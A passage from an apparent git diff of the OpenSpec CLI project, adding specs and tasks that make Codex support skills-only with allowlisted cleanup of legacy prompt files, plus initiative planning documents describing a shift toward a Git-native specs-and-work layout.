reconciliation without accepted or forced cleanup + +### Requirement: Codex update cleanup removes managed legacy prompts +`openspec update` SHALL clean up previously managed Codex prompt files from the resolved global Codex prompt directory only after replacement Codex skills exist. + +#### Scenario: Forced update cleanup removes Codex prompts +- **WHEN** a user runs `openspec update --force` +- **AND** the resolved Codex prompt directory contains exact allowlisted managed global Codex prompt files +- **AND** replacement Codex skills exist for the workflows represented by those prompt filenames +- **THEN** the command SHALL remove those managed Codex prompt files +- **AND** it SHALL leave non-OpenSpec Codex prompt files unchanged + +#### Scenario: Configured Codex cleanup completes after skills refresh +- **WHEN** an approved or forced update detects an allowlisted global Codex prompt whose configured project is missing the replacement skill +- **AND** the configured-tool update installs that replacement skill, including under `delivery=commands` +- **THEN** the command SHALL perform deferred global prompt cleanup after the configured-tool update loop +- **AND** it SHALL remove the replaced prompt in the same update run + +#### Scenario: Interactive update cleanup includes Codex prompts +- **WHEN** a user runs `openspec update` interactively +- **THEN** the preview SHALL list immediate repo-local removals separately from deferred global prompts cleanup +- **AND** the deferred section SHALL list the concrete global prompt paths before the user confirms cleanup +- **AND** managed Codex prompt files are detected +- **THEN** the cleanup prompt SHALL include those files in the cleanup plan +- **AND** accepting cleanup SHALL remove only the prompt files whose replacement Codex skills exist + +#### Scenario: Non-interactive update without force does not delete prompts +- **WHEN** a user runs `openspec update` without interaction and without `--force` +- **AND** managed Codex prompt files are detected +- **THEN** the command SHALL warn that legacy cleanup requires `--force` or an interactive run +- **AND** it SHALL NOT delete Codex prompt files diff --git a/openspec/changes/make-codex-skills-only/specs/command-generation/spec.md b/openspec/changes/make-codex-skills-only/specs/command-generation/spec.md new file mode 100644 index 0000000000..e4d0c10db8 --- /dev/null +++ b/openspec/changes/make-codex-skills-only/specs/command-generation/spec.md @@ -0,0 +1,59 @@ +## MODIFIED Requirements + +### Requirement: ToolCommandAdapter interface + +The system SHALL define a `ToolCommandAdapter` interface for per-tool formatting. + +#### Scenario: Adapter interface structure + +- **WHEN** implementing a tool adapter +- **THEN** `ToolCommandAdapter` SHALL require: + - `toolId`: string identifier matching `AIToolOption.value` + - `getFilePath(commandId: string)`: returns file path for command relative from project root unless a supported scoped install resolver provides an absolute target for that adapter + - `formatFile(content: CommandContent)`: returns complete file content with frontmatter + +#### Scenario: Claude adapter formatting + +- **WHEN** formatting a command for Claude Code +- **THEN** the adapter SHALL output YAML frontmatter with `name`, `description`, `category`, `tags` fields +- **AND** file path SHALL follow pattern `.claude/commands/opsx/.md` + +#### Scenario: Cursor adapter formatting + +- **WHEN** formatting a command for Cursor +- **THEN** the adapter SHALL output YAML frontmatter with `name` as `/opsx-`, `id`, `category`, `description` fields +- **AND** file path SHALL follow pattern `.cursor/commands/opsx-.md` + +#### Scenario: Windsurf adapter formatting + +- **WHEN** formatting a command for Windsurf +- **THEN** the adapter SHALL output YAML frontmatter with `name`, `description`, `category`, `tags` fields +- **AND** file path SHALL follow pattern `.windsurf/workflows/opsx-.md` + +## ADDED Requirements + +### Requirement: Codex is not a command generation target +The command-generation system SHALL exclude Codex from active command adapter lookup and generation. + +#### Scenario: Codex adapter lookup +- **WHEN** callers request a command adapter for `codex` +- **THEN** the registry SHALL return no command adapter +- **AND** command-file generation callers SHALL treat Codex the same as other skills-only tools + +#### Scenario: Generating commands for all registered adapters +- **WHEN** callers enumerate registered command adapters +- **THEN** the returned adapter list SHALL NOT include Codex +- **AND** no generated command path SHALL point to a Codex global prompt directory + +#### Scenario: Codex command adapter module is not exported +- **WHEN** callers import supported command adapters through the command-generation adapter index +- **THEN** Codex SHALL NOT be exported as a supported command adapter + +### Requirement: Skills-only command skip behavior remains valid for Codex +The system SHALL skip Codex command-file generation while still allowing Codex skill generation. + +#### Scenario: Command generation requested for selected Codex tool +- **WHEN** a selected tool is Codex +- **AND** command generation would otherwise be included by delivery mode +- **THEN** the command generation step SHALL skip Codex command files +- **AND** the Codex skill generation step SHALL remain valid diff --git a/openspec/changes/make-codex-skills-only/tasks.md b/openspec/changes/make-codex-skills-only/tasks.md new file mode 100644 index 0000000000..534ddf7072 --- /dev/null +++ b/openspec/changes/make-codex-skills-only/tasks.md @@ -0,0 +1,56 @@ +## 1. Command Adapter Surface + +- [x] 1.1 Remove Codex from command adapter registration so `CommandAdapterRegistry.get('codex')` returns undefined. +- [x] 1.2 Remove Codex command adapter exports and delete or retire Codex adapter-specific tests. +- [x] 1.3 Update command-generation types, comments, and examples that describe Codex as a global command target. +- [x] 1.4 Update registry tests to assert Codex is not included in `getAll()` or `has('codex')`. + +## 2. Codex Skills-Only Delivery + +- [x] 2.1 Reuse the command-surface capability model for Codex by resolving Codex as `skills-invocable`; do not add a Codex-only delivery predicate. +- [x] 2.2 Update `openspec init` generation so Codex skills are created for `both`, `skills`, and `commands` delivery modes. +- [x] 2.3 Update `openspec init` command cleanup so `commands` delivery does not remove Codex OpenSpec skill directories. +- [x] 2.4 Update `openspec update` generation so configured Codex skills are refreshed for `both`, `skills`, and `commands` delivery modes. +- [x] 2.5 Update `openspec update` delivery reconciliation so `commands` delivery does not remove Codex OpenSpec skill directories. +- [x] 2.6 Keep command generation skipped for Codex whenever command generation would otherwise run. +- [x] 2.7 If `add-tool-command-surface-capabilities` has not landed first, stage the smallest shared capability helper needed so Codex and later skills-invocable tools use the same path. + +## 3. Legacy Codex Prompt Cleanup + +- [x] 3.1 Add final Codex prompt cleanup support: allowlisted globally managed Codex legacy prompt filenames plus repo-local `.codex/prompts/openspec-*.md` compatibility cleanup. +- [x] 3.2 Resolve the global Codex prompt directory from `CODEX_HOME` when set and the default user `.codex/prompts` directory when unset. +- [x] 3.3 Detect exact allowlisted global Codex prompt files under the resolved prompt directory, infer workflow IDs from those filenames, and leave non-allowlisted prompt files untouched. +- [x] 3.4 Remove managed global Codex prompt files only after replacement Codex skills exist for the represented workflows. +- [x] 3.5 Preserve existing project-local `.codex/prompts/openspec-*.md` cleanup compatibility. +- [x] 3.6 Update cleanup summaries to identify removed Codex prompt files as replaced by Codex skills. +- [x] 3.6a Present deferred global prompts cleanup separately from immediate repo-local removals while listing the affected global prompt files. +- [x] 3.7 Ensure non-interactive `openspec init` without `--force` removes only the managed global Codex prompt files whose replacement skills exist and preserves unreplaced prompts. +- [x] 3.8 Ensure non-interactive `openspec update` without `--force` uses the existing legacy-cleanup warning path and leaves legacy files untouched. + +## 4. Documentation and Messaging + +- [x] 4.1 Update `docs/supported-tools.md` to list Codex as skills-only and remove the `$CODEX_HOME/prompts` command path. +- [x] 4.2 Update command and troubleshooting docs so Codex guidance points to `.codex/skills/openspec-*`. +- [x] 4.3 Update installation or migration guidance to mention managed Codex prompt cleanup and the breaking change. +- [x] 4.4 Update CLI success or skipped-command messaging if needed so Codex users understand skills were installed even when commands are skipped. + +## 5. Tests and Validation + +- [x] 5.1 Add `openspec init` tests for Codex under `both`, `skills`, and `commands` delivery modes, verifying skills exist and global prompt files are not created. +- [x] 5.2 Add `openspec update` tests for Codex under `both`, `skills`, and `commands` delivery modes, verifying skills are refreshed and not removed by commands-only delivery. +- [x] 5.3 Add cleanup tests for allowlisted managed global Codex prompt files under `CODEX_HOME/prompts`, and verify custom or non-allowlisted prompts remain unmanaged. +- [x] 5.4 Add cleanup tests proving unmanaged files in the Codex prompt directory are preserved. +- [x] 5.5 Add non-interactive init cleanup tests proving managed global Codex prompt files are removed only after replacement skills exist. +- [x] 5.6 Add non-interactive update cleanup tests proving global Codex prompt files are preserved without `--force`. +- [x] 5.7 Add cross-platform path tests that construct Codex cleanup paths with path utilities rather than hardcoded separators. +- [x] 5.8 Update or remove tests that import the removed Codex adapter directly. +- [x] 5.9 Add command-surface tests proving Codex resolves as `skills-invocable` and does not require a command adapter. +- [x] 5.10 Run targeted test suites for command generation, init, update, legacy cleanup, and docs-related snapshots if present. +- [x] 5.11 Run `openspec validate make-codex-skills-only --strict`. + +## 6. Review Follow-up + +- [x] 6.1 Add `opsx-update.md` to the managed global Codex prompt allowlist and map it to the `update` workflow. +- [x] 6.2 Simplify managed global Codex prompt detection to exact directory and filename allowlisting so prompts from older template revisions still migrate. +- [x] 6.3 Defer approved global Codex prompt cleanup until after configured tools refresh, allowing replacement skills and prompt cleanup to complete in one update run. +- [x] 6.4 Update focused tests and change artifacts for the final allowlist and cleanup ordering behavior. diff --git a/openspec/config.yaml b/openspec/config.yaml index ec9f5bca20..0b7ad5176a 100644 --- a/openspec/config.yaml +++ b/openspec/config.yaml @@ -5,6 +5,12 @@ context: | Package manager: pnpm CLI framework: Commander.js + Product language: + - Write OpenSpec proposals and specs in user-facing product behavior language + - Requirements should describe the experience, observable behavior, and product contract + - Avoid implementation-negative SHALL statements when a positive user outcome can express the same rule + - Put internal mechanisms in design.md or tasks.md unless the mechanism is itself part of the user-facing contract + Cross-platform requirements: - This tool runs on macOS, Linux, AND Windows - Always use path.join() or path.resolve() for file paths - never hardcode slashes @@ -16,7 +22,8 @@ rules: specs: - Include scenarios for Windows path handling when dealing with file paths - Requirements involving paths must specify cross-platform behavior - - Be explicit about mechanisms, not just outcomes (say HOW, not just WHAT) + - Prefer user-facing product behavior and observable outcomes over internal implementation mechanics + - Include HOW details only when the mechanism is part of the product contract - If we generate artifacts, specify deletion/modification by explicit list lookup, not pattern matching tasks: - Add Windows CI verification as a task when changes involve file paths diff --git a/openspec/explorations/workspace-architecture.md b/openspec/explorations/workspace-architecture.md index 26eb05c979..0feffb231c 100644 --- a/openspec/explorations/workspace-architecture.md +++ b/openspec/explorations/workspace-architecture.md @@ -77,7 +77,7 @@ We researched how similar tools handle config layering: | **ESLint (flat)** | Single root config | *Deliberately killed cascading* - "complexity exploded exponentially" | | **Turborepo** | Root + package extends | Per-package `turbo.json` with `extends: ["//"]` for overrides | | **Nx** | Integrated vs Package-based | Two modes - shared root OR per-package. Hard to migrate from integrated. | -| **pnpm** | Workspace root defines scope | `pnpm-workspace.yaml` at root. Dependencies can be shared or per-package | +| **pnpm** | Workspace file defines package scope | `pnpm-workspace.yaml` at the package-set root. Dependencies can be shared or per-package | | **Claude Code** | Global + Project | `~/.claude/` for global, `.claude/` per-project. No workspace tracking. | | **Kiro** | Distributed per-root | Each folder has `.kiro/`. Aggregated display, no inheritance. | diff --git a/openspec/initiatives/context-store-and-initiatives/.initiative.yaml b/openspec/initiatives/context-store-and-initiatives/.initiative.yaml new file mode 100644 index 0000000000..c67efbeda8 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/.initiative.yaml @@ -0,0 +1,27 @@ +version: 1 +id: context-store-and-initiatives +title: Context Store And Initiatives Direction +status: exploring +summary: > + Define the direction for a synced context store, mounted collections, + initiatives, local workspaces, and repo-local changes. +owners: [] +artifacts: + readme: README.md + direction: direction.md + roadmap: roadmap.md + tasks: tasks.md + decisions: decisions.md + questions: questions.md + work_items: work-items/ +linked_changes: + - change: workspace-reimplementation-roadmap + relationship: informs + - change: workspace-agent-guidance + relationship: reframes + - change: workspace-apply-repo-slice + relationship: reframes + - change: workspace-verify-and-archive + relationship: reframes +links: [] +metadata: {} diff --git a/openspec/initiatives/context-store-and-initiatives/README.md b/openspec/initiatives/context-store-and-initiatives/README.md new file mode 100644 index 0000000000..6574a7d4ca --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/README.md @@ -0,0 +1,58 @@ +# Context Store And Initiatives + +Status: transition evidence / beta history. + +This folder preserves the beta context-store and workspace direction, the +decisions made while exploring it, and the evidence that led to the simpler +Git-native model. + +It is not the active product roadmap or implementation queue. For current +direction, start with: + +1. `openspec/work/simplify-context-and-workspace-model/goal.md` +2. `openspec/work/simplify-context-and-workspace-model/roadmap.md` + +The `direction-git-native-work.md` note is the transition note that led to the +current goal. If it conflicts with the current `goal.md`, the current `goal.md` +wins. + +## Reading Order + +Use this reading order when researching the beta history: + +1. `direction-git-native-work.md` explains the transition from the old beta + model toward Git-native specs and work. +2. `direction.md` preserves the earlier context-store and initiative direction. +3. `roadmap.md` preserves the historical beta roadmap snapshot. +4. `tasks.md` preserves historical initiative-wide progress. +5. `decisions.md` records accepted decisions made during the beta. +6. `questions.md` tracks questions that were open at the time. +7. `work-items//` contains execution notes for one historical roadmap item. + +## Boundary + +These artifacts preserve product intent, roadmap decisions, and beta evidence +from the old model. OpenSpec specs describe the current behavioral contract +behind the code. + +Do not rewrite specs for future intent until behavior changes with an +implementation slice. + +The earlier product boundary was: + +```text +Context stores sync truth. +Collections shape truth. +Initiatives coordinate work. +Workspaces open local views. +Changes implement repo-owned slices. +``` + +The newer direction is: + +```text +OpenSpec is a Git-native artifact format for specs and work. + +Specs are what is true. +Work is what is in motion. +``` diff --git a/openspec/initiatives/context-store-and-initiatives/decisions.md b/openspec/initiatives/context-store-and-initiatives/decisions.md new file mode 100644 index 0000000000..e2aa873d6d --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/decisions.md @@ -0,0 +1,225 @@ +# Context Store And Initiatives Decisions + +## 2026-05-20: Track Roadmap Execution Inside The Initiative + +Decision: Track initiative roadmap implementation inside +`openspec/initiatives/context-store-and-initiatives/` rather than creating an +OpenSpec change for each roadmap item. + +Why: The initiative is the durable coordination object for this work. Repo-local +OpenSpec changes should be reserved for implementation slices owned by a repo or +team. Roadmap-item tracking belongs with the initiative until a task needs a +repo-owned implementation plan. + +Implications: + +- Use `tasks.md` as the initiative-wide progress dashboard. +- Use `work-items//` for detailed execution notes on one roadmap item. +- Link repo-local OpenSpec changes back to the initiative later when + implementation moves into a repo-owned slice. + +## 2026-05-20: Lock Workspace-To-Initiative Product Boundary + +Decision: Workspaces are local working views, not durable shared planning +objects. Durable coordination belongs to context stores and initiatives. Repo +local changes own implementation. + +Implications: + +- Preserve workspace setup, link, relink, list, open, update, and doctor as + beta local-view infrastructure. +- Treat workspace-planning behavior as beta or transitional compatibility. +- Defer workspace apply, verify, and archive until initiative-linked repo-local + changes exist. + +## 2026-05-21: Leave Specs Alone Until Behavior Changes + +Decision: Do not use the initial direction lock to rewrite OpenSpec specs. +Specs should describe the current behavioral contract behind the code. The +initiative artifacts should carry product intent, roadmap decisions, and future +direction until a later implementation change deliberately updates behavior and +its specs together. + +Implications: + +- Initial Item 1 cleanup should focus on initiative docs, historical roadmap + artifacts, active proposal disposition, and user-facing docs. +- Existing workspace-planning specs and schemas may continue to describe current + implemented behavior. +- Future changes to specs should happen with the behavior they govern. + +## 2026-05-21: Keep Deferred Workspace Changes As Reference Placeholders + +Decision: Keep the active workspace changes for agent guidance, repo-slice +apply, verify/archive, and the reimplementation roadmap as deferred reference +placeholders. + +Why: These areas are still expected to matter after context stores, initiatives, +and initiative-linked repo-local changes exist. Archiving or deleting them now +would lose useful research and continuity. + +Implications: + +- Do not pick them up as the immediate next implementation focus. +- Treat their current proposals as historical/deferred direction. +- Revisit and reframe them after initiative-linked repo-local changes define the + durable handoff model. + +## 2026-05-21: Generated Workspace Guidance Routes Work By Ownership + +Decision: Generated workspace guidance should describe workspaces as local +working views and route durable work to the owning artifact: initiatives own +cross-team or cross-repo intent, repo-local OpenSpec changes own implementation +plans, and linked repos or folders own their implementation. + +Why: The initiative direction supersedes the older model where a workspace-level +`changes/` tree owned the canonical shared cross-repo plan. New agent guidance +should not reinforce that old model. + +Implications: + +- Remove guidance that tells agents to use workspace-level `changes/` as the + planning home for coordinated work. +- Keep legacy or beta workspace-planning files readable as compatibility + context when present. +- Update generated workspace guidance before broad user-facing docs or specs. +- Leave specs untouched until the corresponding behavior intentionally changes. + +## 2026-05-21: Workspace Action Context Is Local Compatibility Context + +Decision: Workspace-planning action context should no longer describe +workspace-level artifacts as the source of truth. It should report +`sourceOfTruth: "workspace-local"` and describe workspace-local planning +artifacts as compatibility context for the current local view. + +Why: Workspace-planning artifacts can still exist in the beta workflow, but the +initiative direction assigns durable coordination to initiatives and +implementation planning to repo-local changes. + +Implications: + +- Keep `actionContext.mode: "workspace-planning"` for compatibility. +- Keep `allowedEditRoots: []` until an explicit edit root is selected. +- Keep linked repos and folders as context, not implicit edit roots. +- Route durable coordination to initiatives when initiative context exists. + +## 2026-05-21: Reorder Roadmap Around Agent-First Initiative Handoff + +Decision: Treat initiatives as an agent-first workflow. Users should be able to +prompt an agent with intent like "using initiative X, explore Y and create a +proposal"; OpenSpec should provide small CLI primitives the agent can compose. + +Why: The practical UX is not a human manually typing every coordination command. +Agents need reliable structured answers about where canonical initiative context +lives and how repo-local changes reference it. Local paths come from workspace +state, not from an initiative command. + +Implications: + +- Promote minimal context-store setup, registration, listing, and doctoring + before workspace initiative opening. +- Add `initiative show --json` before broader progress/status concepts. +- Connect repo-local changes with checked-in initiative metadata, not checked-in + snapshots of initiative prose. +- Do not add `initiative resolve`; workspace local-view state owns local path + mapping. +- Teach workspace opening about initiatives after show and repo-change linkage + semantics exist. + +## 2026-05-26: Workspace Initiative Opening Uses Generated Runtime Files + +Decision: Treat workspace initiative opening as a private local view record plus +generated runtime files. The workspace does not contain the work. It remembers +how this runtime opens the work. + +Why: Initiative context is shared truth in the context store, repo-local changes +own implementation, and agent/editor affordances need to exist in the runtime +where the agent actually runs. Persisting generated files as workspace truth +would blur local view state with shared coordination and create stale or +privacy-sensitive artifacts. + +Implications: + +- Persist only tiny private local view choices: selected store, selected + initiative, selected local links, opener, and selected tools. +- Preserve the selected context-store selector inside the private workspace + record, so a runtime-local `--store-path` open can be reopened without writing + machine-local paths into checked-in repo metadata. +- Generate agent guidance, skills, launch prompts, and editor workspace files as + runtime support when opening or preparing a view. +- Open existing local paths only; do not clone, branch, create worktrees, use + submodules, or infer local repos in Item 10. +- Treat generated runtime files as disposable and regenerable. +- Allow context-only initiative open; linked repos are optional local view + choices. +- Keep edit boundaries advisory in Item 10 until enforcement is designed. + +## 2026-05-26: Workspace Storage Is Keyed By Workspace Name + +Decision: Store private workspace views under +`getGlobalDataDir()/workspaces//`. The workspace name is the +local identity. The selected context store and initiative, if any, live inside +one durable private `workspace.yaml` record. + +Why: Workspaces are generic local views, not initiative-owned directories. A +user may want a custom workspace with linked repos and folders but no initiative, +or multiple personal workspaces over the same initiative. Keying storage by +store and initiative would overfit the filesystem layout to one workflow. + +Implications: + +- Keep initiative references optional inside `workspace.yaml`. +- Store initiative context with an explicit context-store binding rather than a + flat store id, because workspace state may need to remember a registry selector + or a runtime-local path selector. +- Generate `AGENTS.md`, opener workspace files, and tool-specific skills at the + managed workspace root. +- Keep `workspace.yaml` as the only view file for Item 10; do not add a separate + machine-readable view file. +- Do not introduce a separate generated-output directory for Item 10. +- If the user opens an initiative without a workspace name, derive a friendly + default workspace name from the initiative id when that is unambiguous. +- On workspace-name collisions or multiple workspaces pointing at the same + initiative, ask the human to choose or require an explicit workspace name in + non-interactive mode. + +## 2026-05-26: Item 10 Workspace Open UX Decisions + +Decision: Close the remaining Item 10 product decisions around runtime identity, +JSON output, Codex Desktop, edit boundaries, and implementation scope. + +Implications: + +- Use `getGlobalDataDir()` as the cross-platform runtime-local boundary. Do not + add path translation or a separate runtime id in Item 10. +- Keep `workspace open --json` as a machine-facing receipt for the same open + operation. It should return useful generated paths, selected context, opened + roots, skipped roots, opener, launch status, and warnings. +- Do not add `--prepare-only` for Item 10. +- For Codex Desktop, open the generated workspace root as the project and expose + attached initiative and repo/folder paths through generated guidance and + `workspace open --json` output. +- Emit advisory edit boundaries only; do not enforce write restrictions. +- Continue to open known existing local paths only. Do not clone, branch, create + worktrees, use submodules, or infer local repos in Item 10. + +## 2026-05-30: Defer Hardcoded Agent Handoff Guidance + +Decision: Skip Item 13, agent handoff output and delivery polish, as an +implementation item for now. + +Why: The underlying beta pain is real: users and agents need better receipts +after setup, initiative creation, workspace opening, and repo-local change +creation. However, fixed "Next for your agent" guidance assumes a linear +workflow path and may not fit dynamic agentic work, where the agent should +inspect current state and choose the next move. + +Implications: + +- Do not implement hardcoded next-step blocks yet. +- Preserve Item 13 as research context for a future receipt or affordance model. +- Prefer future output that reports what exists, where it lives, and what + actions are available, rather than prescribing one next command. +- Deterministic receipt improvements such as direct `created_paths` fields may + be split into a smaller implementation slice if they remain clearly useful. +- Delivery terminology concerns may be handled separately from handoff output. diff --git a/openspec/initiatives/context-store-and-initiatives/direction-git-native-work.md b/openspec/initiatives/context-store-and-initiatives/direction-git-native-work.md new file mode 100644 index 0000000000..a24b346d02 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/direction-git-native-work.md @@ -0,0 +1,472 @@ +# Git-Native Specs And Work Direction + +This note captures the current product direction after the initiative, +workspace, context-store, and multi-repo planning discussion. + +The positive shape is: + +```text +OpenSpec is a Git-native artifact format for specs and work. + +Specs are what is true. +Work is what is in motion. +``` + +OpenSpec artifacts live as files in Git. That Git repo may be the code repo, a +planning repo, or a contracts repo. OpenSpec should not introduce a separate +authoritative state system outside those files. + +## Core Shape + +The preferred future shape is: + +```text +openspec/ + README.md + openspec.yml + specs/ + work/ +``` + +- `specs/` describes accepted behavior. +- `work/` describes intended effort in motion. + +This shape should be the same whether the OpenSpec root lives beside code or in +a dedicated planning or contracts repo. + +```text +app-repo/ + openspec/ + specs/ + work/ + +planning-repo/ + openspec/ + specs/ + work/ +``` + +There is no separate product mode for "repo-local", "external", "workspace", +"context store", or "multi-repo" artifacts. The placement choice is simply +which Git repo contains the OpenSpec files. + +## Vocabulary + +Use a small vocabulary first: + +```text +Spec current accepted behavior +Work intended effort in motion +Change work that applies concrete deltas to targets +Initiative work that coordinates or decomposes other work +Target repo, service, package, path, or system where work lands +``` + +Users should not need to learn `context store`, `project`, `workspace`, +`artifact home`, or `index` as primary product nouns. + +## Domain Terms + +Use these terms when explaining the near-term product: + +```text +OpenSpec root + The `openspec/` directory that contains specs, changes, work, and config. + +In-project OpenSpec + OpenSpec initialized inside the project repo it helps describe. + +Standalone OpenSpec repo + A separate Git repo whose main purpose is to hold OpenSpec artifacts. + +Target project repo + A code repo that a change or work item applies to. + +Local repo map + Private local resolution from a target repo id to a checkout path. + +Workspace view + Legacy or beta local-view language. In the new direction, this should reduce + to a local repo map plus an optional focused OpenSpec root or work item. +``` + +Examples: + +```text +In-project OpenSpec: + +app-repo/ + openspec/ + specs/ + changes/ + +Standalone OpenSpec repo: + +app-openspec-repo/ + openspec/ + specs/ + changes/ + +Target project repo: + +app-repo/ + src/ + tests/ +``` + +The product should avoid the term `repo-local` for this distinction. It is too +easy to confuse "OpenSpec lives in this project repo" with "this work targets +this repo." + +The product should also avoid making `workspace` a primary user-facing noun. +The job that remains is simpler: map target repo ids to local checkout paths so +agents and commands can assemble the relevant Git repos on this machine. + +## Work Is The Primitive + +`work/` is one canonical area for units of work at different scales. + +```text +openspec/ + specs/ + auth/session-limits.md + work/ + add-login-rate-limit/ + work.yaml + proposal.md + tasks.md + deltas/ + checkout-modernization/ + work.yaml + README.md +``` + +A change is work with change capabilities: + +```yaml +id: add-login-rate-limit +kind: change +status: proposed +targets: + - repo: app +``` + +An initiative is also work: + +```yaml +id: checkout-modernization +kind: initiative +status: active +children: + - work: add-login-rate-limit + - work: add-checkout-tax +``` + +The distinction between a change and an initiative should not come from which +top-level folder the artifact lives in. It should come from metadata and +capabilities: + +- Work with targets and deltas can validate and archive those deltas into + `specs/`. +- Work with children, dependencies, and context can coordinate and roll up other + work. +- Some work may be both change-shaped and coordination-shaped. + +## Git Is The Source Of Truth + +OpenSpec should stay Git-native: + +- History comes from Git. +- Review uses normal Git and forge workflows. +- Diffs are normal file diffs. +- External planning means another Git repo, not another state system. +- Indexes, dashboards, status rollups, and orchestration are derived views. + +Forge-specific status such as pull request state, CI, review approvals, or +merge status may be read by adapters. That status should not become a competing +OpenSpec truth. + +## Targets + +Filesystem location should not imply implementation target. Work declares where +it lands. + +```yaml +targets: + - repo: api + - repo: web +``` + +Targets may later address repos, services, packages, paths, external systems, +or monorepo subtrees. Use plural `targets` in the format early, even if some MVP +lifecycle commands only support one target. + +## Nesting And References + +The rule is: + +```text +Nest within a repo. +Reference across repos. +``` + +Within one Git repo, work can nest when that is the real relationship: + +```text +app-repo/ + openspec/ + work/ + checkout-modernization/ + work.yaml + work/ + add-login-rate-limit/ +``` + +Across Git repo boundaries, work references other work by stable identity: + +```yaml +id: checkout-modernization +kind: initiative +children: + - repo: api + work: add-tax-api + - repo: web + work: update-checkout-ui +``` + +This keeps each repo's executable work close to the code it affects while still +allowing a planning or contracts repo to coordinate the larger effort. + +Work identity must come from metadata, not from the path. Folder paths can help +humans browse; they should not be the durable identity of the work. + +## Dependency And Sequencing + +Multi-repo complexity is mostly about sequencing, not folder placement. + +OpenSpec should be able to record dependency intent in Git: + +```yaml +depends_on: + - work: publish-tax-contract +``` + +Future views can answer: + +- How does this large effort decompose? +- What has to happen first? +- Which targets are affected? +- Which teams own the slices? +- What surrounding context does an agent need? + +The free artifact format should be able to describe ordering and dependencies. +Automation that enforces sequencing, gates merges, or rolls up live forge status +can remain a derived orchestration layer. + +## MVP Implication + +The immediate release path should keep the current OpenSpec baseline working: + +```text +openspec/ + README.md + openspec.yml + specs/ + changes/ +``` + +The first mental model is: + +```text +Specs = what is true. +Changes = what should change. +``` + +Near-term work should not require the future `work/` layout. `change` remains +important because a change applies deltas. The `work/` model is the future +layout direction, not a prerequisite for making standalone OpenSpec repos +useful. + +## Roadmap + +### 1. Preserve The Current Baseline + +Keep the existing in-project OpenSpec flow working and understandable: + +```text +app-repo/ + openspec/ + specs/ + changes/ +``` + +The first release goal is not to rename everything. It is to make the current +model boring and reliable. + +### 2. Make The Placement Choice Explicit + +Teach the product language: + +```text +OpenSpec can live inside your project repo, +or in its own Git repo. +``` + +Use: + +- `in-project OpenSpec` for `app-repo/openspec/` +- `standalone OpenSpec repo` for `app-openspec-repo/openspec/` + +Avoid `repo-local` as the user-facing term for this split. + +### 3. Support Standalone OpenSpec Repos + +Allow OpenSpec to be initialized and validated in a Git repo that does not hold +application code: + +```text +app-openspec-repo/ + openspec/ + specs/ + changes/ +``` + +This should use the same parser, templates, validation, and archive concepts as +in-project OpenSpec. A standalone repo is not a new state system. + +### 4. Add Target Project Repo Resolution + +Standalone OpenSpec repos need to describe where changes land: + +```yaml +targets: + - repo: app +``` + +The first slice can keep target resolution simple: + +- register local target repos +- validate that referenced targets exist +- report unresolved targets clearly +- let agents know which OpenSpec repo and target repos are involved + +Do not clone, branch, sync, orchestrate, or infer complex repo state yet. + +This is the simplified successor to the larger workspace-view concept. Existing +workspace beta behavior may remain as compatibility, but new direction should +use local repo mapping as the product shape. + +### 5. Add Cross-Repo Context And Doctoring + +Once standalone OpenSpec repos can target project repos, add read-oriented +support for relevant context: + +- doctor checks for missing target repo mappings +- local path mapping for agents +- read-only references to other OpenSpec repos when needed +- clear output showing which Git repo owns each artifact + +Remote Git URL support, pull/push helpers, status dashboards, and sequencing +enforcement can come later. + +### 6. Evolve Toward `work/` + +After the baseline and standalone repo flow are solid, introduce the future +layout direction: + +```text +openspec/ + specs/ + work/ +``` + +At that point: + +- existing `changes/` can be supported as legacy or migrated +- changes become change-shaped work +- initiatives become coordination-shaped work +- dependency and sequencing views can build on stable work identity + +Do not make `/work` block the standalone OpenSpec repo release. + +## Decisions Considered + +### Separate `changes/` And `initiatives/` + +Rejected as the preferred future shape: + +```text +openspec/ + changes/ + initiatives/ +``` + +This uses folders as the type system and makes changes and initiatives feel +artificially unrelated. The cleaner model is one `work/` tree where change and +initiative are shapes of work. + +### Initiative-Owned Change Folders + +Rejected as canonical storage: + +```text +openspec/ + initiatives/ + checkout-modernization/ + changes/ + add-tax-api/ +``` + +This makes initiative ownership look like lifecycle ownership. A larger unit of +work may coordinate a smaller one, but the smaller unit still has its own +identity, targets, deltas, and lifecycle. + +### Project Or Repo Buckets As Lifecycle Roots + +Rejected as the default: + +```text +projects/ + api/ + openspec/ + changes/ + web/ + openspec/ + changes/ +``` + +Repo buckets work when each artifact cleanly belongs to one repo, but they get +awkward for cross-repo work, shared contracts, monorepos, and initiatives that +span several targets. Repos should be targets, not mandatory lifecycle roots. + +### Stateful Context Store As Core Primitive + +Rejected as the core framing. + +A dedicated planning or contracts repo may hold OpenSpec artifacts, but it is +still a Git repo. OpenSpec should not create a separate authoritative store that +can disagree with Git. + +### Configurable Layout Modes + +Rejected as an MVP product shape. + +Custom layout modes force every tool, doc, and agent instruction to branch. +Prefer one opinionated layout and let users choose which Git repo contains it. + +### Workspace As A Primary Product Object + +Rejected as the new user-facing shape. + +The useful part of workspace-view behavior is local resolution: knowing where +the OpenSpec repo and target project repos are checked out on this machine. That +should be treated as a local repo map, not as a planning container, lifecycle +owner, or durable source of truth. + +## Supersession Note + +This direction supersedes the older product boundary that centered context +stores, collections, initiatives, workspaces, and repo-local changes as separate +primary nouns. Those artifacts remain useful historical context and describe +implemented beta behavior, but new product direction should start from the +Git-native `specs/` and `work/` shape. diff --git a/openspec/initiatives/context-store-and-initiatives/direction.md b/openspec/initiatives/context-store-and-initiatives/direction.md new file mode 100644 index 0000000000..c7bf117d01 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/direction.md @@ -0,0 +1,458 @@ +# Context Store And Initiatives Direction + +Status: historical beta direction. + +This document preserves the earlier context-store and workspace direction from +the workspace/initiative discussion. It is useful transition evidence, but it +is not the current product authority for the simplification work. + +For current direction, start with: + +1. `openspec/work/simplify-context-and-workspace-model/goal.md` +2. `openspec/work/simplify-context-and-workspace-model/roadmap.md` + +The main historical shift captured here was that "workspace" should not be the +durable shared planning object. In this earlier model, the durable shared +object was a synced context store, and initiatives were one opinionated +collection inside it. + +## Historical Core Model + +```text +Context Store + = synced shared content container + +Collection + = mounted content system inside a store + +Initiatives + = first major collection for cross-team implementation context + +Workspace + = local working view over context stores and repos + +Change + = repo/team-owned implementation plan +``` + +The clean rule: + +```text +Context stores sync truth. +Collections shape truth. +Initiatives coordinate work. +Workspaces open local views. 